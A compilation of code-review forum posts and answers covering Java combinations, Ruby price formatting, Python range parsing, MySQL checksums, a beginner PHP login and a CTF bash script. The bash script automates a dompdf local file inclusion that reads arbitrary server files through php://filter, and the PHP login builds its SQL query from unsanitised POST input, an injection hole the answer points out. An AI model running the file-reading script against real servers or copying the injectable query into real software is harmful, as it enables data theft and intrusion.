        List<int[]> perms = generateOfSize(k, n);
        System.out.print(perms.size()+": ");
        for(int i=0; i<perms.size(); i++){
            int[] perm = perms.get(i);
            System.out.print(perms.get(i)[0]);
            for(int j=1; j < k; j++){
                System.out.print("-"+perms.get(i)[j]);
            }
            System.out.print(", ");
        }
        System.out.println();
    }
}

public static List<int[]> generateOfSize(int k, int n){
    int[] cur = new int[k];
    List<int[]> all = new ArrayList<int[]>();

    // 1-st step - init
    for (int i = 0; i < k; i++){
        cur[i] = i;
    }

    // 2-nd step - do shifts
    do{
        int[] copy = new int[k];
        System.arraycopy( cur, 0, copy, 0, cur.length );
        all.add(copy);
    } while (doShift(cur, k, n));

    return all;
}

public static boolean doShift(int[] cur, int k, int n){
    if (cur[k-1] < n-1){
        cur[k-1] = cur[k-1] + 1;
        return true;
    }
    for(int i = k-1; i > 0; i--){
        if (cur[i] - cur[i-1] > 1) {
            cur[i-1] = cur[i-1] + 1;
            for (int j = i; j < k; j++){
                cur[j] = cur[j-1]+1;
            }
            return true;
        }
    }
    return false;
}

}

You can rewrite your implementation much succintly:

import java.util.Arrays;
import java.util.stream.IntStream;

public class Main {

    public static void main(String[] args) {
        final int N = 4;

        int globalLineNumber = 1;

        for (int n = 1; n <= N; ++n) {
            int[] combination = IntStream.range(0, n).toArray();
            System.out.println("Combination size: " + n);
            int lineNumber = 1;

            do {
                System.out.printf("[%3d] %3d: %s\n",
                                  globalLineNumber++,
                                  lineNumber++,
                                  Arrays.toString(combination));
            } while ((combination =
                      generateNextCombination(combination, N)) != null);
        }
    }

    public static int[] generateNextCombination(int[] combination, int n) {
        if (combination[combination.length - 1] < n - 1) {
            combination[combination.length - 1]++;
            return combination;
        }

        for (int i = combination.length - 2; i >= 0; --i) {
            if (combination[i] < combination[i + 1] - 1) {
                combination[i]++;

                for (int j = i + 1; j < combination.length; ++j) {
                    combination[j] = combination[j - 1] + 1;
                }

                return combination;
            }
        }

        return null;
    }
}

The above produces the following output:

Combination size: 1
[  1]   1: [0]
[  2]   2: [1]
[  3]   3: [2]
[  4]   4: [3]
Combination size: 2
[  5]   1: [0, 1]
[  6]   2: [0, 2]
[  7]   3: [0, 3]
[  8]   4: [1, 2]
[  9]   5: [1, 3]
[ 10]   6: [2, 3]
Combination size: 3
[ 11]   1: [0, 1, 2]
[ 12]   2: [0, 1, 3]
[ 13]   3: [0, 2, 3]
[ 14]   4: [1, 2, 3]
Combination size: 4
[ 15]   1: [0, 1, 2, 3]

Basically, you are given \$N\$ - the number of all possible items you can choose. Also, you are given \$n\$ - the number of \$N\$ items you actually put in a combination. Now, you have a simple class method for producing the next \$n\$-combination. Whenever all \$n\$-combinations where generated, return null in order to signal that you are done with them, after which increment \$n\$, generate the first lexicographic combination, and keep generating until null.

Hope that helps.

Addition

Of course, instead of combination and null you could return true or false depending on the case whether the input combination was successfully "incremented" towards the next combination or not.


Formatting a price string I'm formatting price string with the following method:

   def price_formatter(price)
     return if price.nil?
     formatted = '$'
     if price.length > 8 || price.length == 6
       price_separated = price.scan(/.{3}|.+/).join(',')
     elsif price.length == 8
       price_separated = price.insert(2, ',').insert(6, ',')
     elsif price.length == 7
       price_separated = price.insert(1, ',').insert(5, ',')
     elsif price.length == 5
       price_separated = price.insert(2, ',')
     elsif price.length == 4
       price_separated = price.insert(1, ',')
     else
       price_separated = price
     end
     formatted << price_separated
  end

Specs:

  it { expect(@listing.price_formatter('300000000')).to eq '$300,000,000' }
  it { expect(@listing.price_formatter('30000000')).to eq '$30,000,000' }
  it { expect(@listing.price_formatter('3000000')).to eq '$3,000,000' }
  it { expect(@listing.price_formatter('300000')).to eq '$300,000' }
  it { expect(@listing.price_formatter('30000')).to eq '$30,000' }
  it { expect(@listing.price_formatter('3000')).to eq '$3,000' }
  it { expect(@listing.price_formatter('300')).to eq '$300' }
  it { expect(@listing.price_formatter(nil)).to eq nil }

specs are passing, but I hate the long if statement and using a case is not accomplishing much either. What would be a good way to refactor the price_formatter method?

Code review-wise, I'd avoid long if-elsif chains and see about converting them to a case. Also, I'd move the final formatting to the end. Otherwise, not too bad except for the fact that there are much more concise ways to do this.

One is to notice that if you go from the end of the string backwards, there are fewer cases. In fact, just one:

def price_formatter(price)
  "$" + price.reverse.scan(/.{1,3}/).join(',').reverse
end

This reverses the string, looks for groups of up to 3 and joins them with commas, then reverses back.

You may have suspected that there might be a single regex that can do the trick. You would be correct:

def price_formatter(price)
  "$" + price.gsub(/(\d)(?=\d{3}+(\.\d*)?$)/, '\1,')
end

It's a little more obtuse in my opinion.

If you happen to be using Rails, I'd use the built-in helper:

def price_formatter(price)
  number_to_currency(price)
end

There are more options to number_to_currency, but the default is the output you want. In fact you are just recreating it, so you could refactor your method away completely.

Note you need to add return if price.nil? to handle the nil case in all the above.


Separating data from string representation of objects, with added extras Given a string representation of data, I want to extract the information into its corresponding object.
However,
If the string has "|" separators then these should be considered options and need to be picked at random.
If the string data has numbers shown as a range "1-10" then a random value should be chosen between the range. It should also preserve the numerical datatype i.e int or float
I.e
"(1-3,1,1)" returns either (1, 1, 1), (2, 1, 1) or (3, 1, 1)
"(0.2-0.4,1,1)" returns either (0.2, 1, 1), (0.3, 1, 1) or (0.4, 1, 1)
"foo|bar|foobar" returns either "foo", "bar" or "foobar"
"[1-2,1,2]|foo|bar|[1,8-10,99]" could return :
"foo","bar", [1, 1, 2], [2, 1, 2], [1, 8, 99], [1, 9, 99] or [1, 10, 99]
This is what I have and it works well. But I cant help think it could be achieved in a more concise way. Let me know what I could have done better.
import re
import random
import ast

def randomize_by_pipe(st_value):
    """
    Used to split strings with the pipe character and randomly choose and option.

    :param: st_value - (str)

    """
    if not st_value is None:
        st_arr = st_value.split("|")
        random.shuffle(st_arr)
        return st_arr[0]
    else:
        return st_value

def randomise_range(text):
    if text is None:
        return text
    else:
        matches = re.findall("\d*\.*\d*-{1}\d*\.*\d*",text)

        for match in matches:
            startingPos = 0
            position = text.find(match, startingPos)
            while True:
                position = text.find(match, startingPos)
                if position > -1:
                    txt = text[position:position+len(match)]
                    txt = rand_no_from_string(txt)

                    new_text = text[0:position+len(match)].replace(match,str(txt))
                    text = new_text + text[position+len(match):]
                else:
                    break

        try:
            return ast.literal_eval(text)
        except ValueError:
            return text

def rand_no_from_string(txt):

    is_int = False
    txt_arr = txt.split("-")
    num_arr = [float(x) for x in txt_arr]
    if int(num_arr[0]) == num_arr[0]:
        mul = 1
        is_int = True
    else:
        #new section to deal with the decimals
        mul = 10 ** len(str(num_arr[0]).split(".")[1])
        num_arr = [x*mul for x in num_arr]

    if num_arr[0] > num_arr[1]:
        num_arr[1], num_arr[0] = num_arr[0], num_arr[1]

    val = random.randint(num_arr[0],num_arr[1])/mul
    return int(val) if is_int else val

Run with:
text="(108-100,0.25-0.75,100)|Foo|Bar|[123,234,234-250]"
randomise_range(randomize_by_pipe(text))

Type hinting
Instead of having helpdocs declare the types of function parameters, why not go with type hinting?
Complexity
Your code currently has too many moving parts. You define 2 different functions to parse the data, and they both need to be called in chain. This should be done by a single parsing function.
Let the parser get data text, then the parser should be handling first parsing using pipe and later using the numerical ranges.
Selection from a list
Your randomize_by_pipe shuffles the list, and selects the 0th value. You can instead let random.choice do the job.
range parsing
I think range parsing can be improved a little. How about the following flow:

Remove [ and ] from the given text.
Split from ,.
For each section of the split, try parsing as float (or int, depending on your dataset)
In case of float conversion error, let the rand_no_from_string get a value.

regex
You have a regex, but you're not making full/elegant use of it. Instead of matches, you can group the results, and operate on those groups. The pattern itself can also be a little optimised:
\d+(?:\.\d+)?-\d+(?:\.\d+)?

A rewrite, for eg:
from re import sub, Match
from random import choice, randint

def randomise_range(match: Match):
    given_range = match.group(0).split("-")
    low, high = map(float, given_range)
    if low > high:
        low, high = high, low
    if low.is_integer():
        return str(randint(int(low), int(high)))
    multiplier = 10 ** len(given_range[0].split(".")[-1])
    low = int(low * multiplier)
    high = int(high * multiplier)
    return str(randint(low, high) / multiplier)

def extract_range(text: str = None):
    if not text:
        return text
    return sub(r"\d+(?:\.\d+)?-\d+(?:\.\d+)?", randomise_range, text)

def parse(text: str = None):
    if not text:
        return text
    selection = choice(text.split("|"))
    if selection[0] in ('[', '('):
        return extract_range(selection)
    return selection

if __name__ == "__main__":
    examples = (
        "(1-3,1,1)",
        "(0.2-0.4,1,1)",
        "foo|bar|foobar",
        "(108-100,0.25-0.75,100)|Foo|Bar|[123,234,234-250]",
        "[1-2,1,2]|foo|bar|[1,8-10,99]",
    )
    for text in examples:
        print(parse(text))


Dompdf LFI (Local File Inclusion) Intro

During a CTF I encountered a dompdf LFI vulnerability, which is explained at exploitdb.

However when I executed that vulnerability it gave it to me in PDF form, and it was a pain to constantly (read, strip, and base64 decode)  to read the contents of files. So I made a little bash script to do these things automatically.

I am happy with the result, but I thought there maybe was a way to resolve those double sed into one Regex capture. It works because the [( ... )] is unique in the resulting string.

Code

#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
    echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo `curl --silent $URL` | sed 's/.*\[(//' | sed 's/)\].*//' | base64 -d

Input validation

I find this an unusual way to validate script parameters:

if [ -z "$1" ] || [ -z "$2" ]; then

It's more common to verify that there are exactly two parameters:

if [ $# != 2 ]; then

Note that this is not exactly the same as the original.
The original verifies that neither $1 and $2 is empty,
and it silently allows more than 2 parameters.

Why echo a sub-shell?

What is the purpose of this echo:

echo `curl --silent $URL`

Instead of simply:

curl --silent $URL

If the purpose is to join multiple lines into one, I would use tr instead:

curl --silent "$URL" | tr -d '\n'
# or
curl --silent "$URL" | tr '\n' ' '

Writing this way make the intention more clear.
Another advantage is streamlined processing.
Note also that I added double-quotes around the $URL used as command parameter, as a good rule of thumb to protect from unexpected word splitting and globbing.

One sed to rule them all

Instead of this:

sed 's/.*\[(//' | sed 's/)\].*//'

You can do multiple expressions with a single sed using multiple -e parameters:

sed -e 's/.*\[(//' -e 's/)\].*//'

I use the -e even with single expressions,
for maximum clarity.


First PHP login system This is my first attempt at a login system! I've only had roughly 2 days of experience with MySQL and PHP so far and this is what I came up with:

<?php
    session_start();

    //Start Database
        $IP = "";
        $user = "";
        $pass = "";
        $db = "";
        $con = mysqli_connect($IP, $user, $pass, $db);

        // Check connection
        if ( mysqli_connect_errno() ) {
            echo "
";
            echo "Failed to connect to MySQL: " . mysqli_connect_error();
            echo "
";
        }

    // Pretty much kicks out a user once they revisit this page and is logged in
    if( $_SESSION["name"] )
    {
        echo "You are already logged in, ".$_SESSION['name']."!
 I'm Loggin you out M.R ..";
        unset( $_SESSION );
        session_destroy();
        exit("");
    }

    $loggedIn = false;
    $userName = $_POST["name"] or "";
    $userPass = $_POST["pass"] or "";

    if ($userName && $userPass )
    {
        // User Entered fields
        $query = "SELECT name FROM Clients WHERE name = '$userName' AND password = '$userPass'";// AND password = $userPass";

        $result = mysqli_query( $con, $query);
        $row = mysqli_fetch_array($result);

        if(!$row){
            echo "
";
            echo "No existing user or wrong password.";
            echo "
";
        }
        else
            $loggedIn = true;
    }

    if ( !$loggedIn )
    {
        echo "
            <form action='logmein.php' method='post'>
                Name: <input type='text' name='name' value='$userName'>

                Password: <input type='password' name='pass' value='$userPass'>

                <input type='submit' value='log in'>
            </form>
        ";
    }
    else{
        echo "
";
        echo "You have been logged in as $userName!";
        echo "
";
        $_SESSION["name"] = $userName;
    }

?>

At a quick look:

Your code is vulnerable to SQL Injection: assume the user wants to hurt you, so always parse superglobals $_GET and $_POST

https://stackoverflow.com/questions/60174/how-can-i-prevent-sql-injection-in-php
To check if variable have values:

// good practice
if (isset($userName, $userPass))
// bad practice
if ($userName && $userPass )

More important:

  Don't reinvent the wheel unless you plan on learning more about wheels.

A simple search on google for PHP login system will give you a limitless number of examples from where you can learn how to build a proper system:

http://www.phpeasystep.com/workshopview.php?id=6


Comparing data in 2 tables on different servers with CHECKSUM So I've had a problem where I need to compare data in 2 different tables on two different servers.  Now, I know MySQL supports CHECKSUM TABLES, but from my testing and understanding, it's not reliable across server instances and versions.

So I created this query:

$part = '@CRC := MD5(CONCAT_WS(\'#\', COALESCE(`'.
    implode('`, "#NULL#"), COALESCE(`', $this->_columns).
    '`, "#NULL#")))';
$sql1 = "SELECT COUNT(*) AS cnt,
        SUM(CONV(SUBSTRING({$part}, 1, 4), 16, 10)) as a1,
        SUM(CONV(SUBSTRING(@CRC, 5, 4), 16, 10)) as a2,
        SUM(CONV(SUBSTRING(@CRC, 9, 4), 16, 10)) as a3,
        SUM(CONV(SUBSTRING(@CRC, 13, 4), 16, 10)) as a4,
        SUM(CONV(SUBSTRING(@CRC, 17, 4), 16, 10)) as a5,
        SUM(CONV(SUBSTRING(@CRC, 21, 4), 16, 10)) as a6,
        SUM(CONV(SUBSTRING(@CRC, 25, 4), 16, 10)) as a7,
        SUM(CONV(SUBSTRING(@CRC, 29, 4), 16, 10)) as a8
    FROM `dbname`.`tablename`
    WHERE `id` >= $min AND `id` <= $max ";

So basically, it's concatenating each row together (all the columns of each row more specifically) and then MD5ing them.  Then it walks 4 hexbits at a time through that MD5 and sums them across all rows (4 hexbits to allow me to do huge tables without needing to worry about overflowing).  Then, I just compare the result of this query on both tables to see if everything is the same.

By using this binary search, I am able to rather quickly narrow down where the changes are so that I can port them.

It's actually reasonably efficient, so I'm not too concerned about that.  What I am concerned about is if this is even necessary.  It's screaming to me "You're doing it wrong", but I can't figure out any cleaner method around it...

What are your thoughts?

We use mk-table-checksum.

It works really great in Master-Slave context where it also allows to sync differences in both directions depending on your choice.

Saidly from what i've seen most people it for replication and i can't provide any copy/pasteable output but if you don't know it it's definitly worth looking into. If you know it i'd like to hear why it doesn't work for you.

To get an overview over many tables you can use something like mk-table-checksum host1 host2 | mk-checksum-filter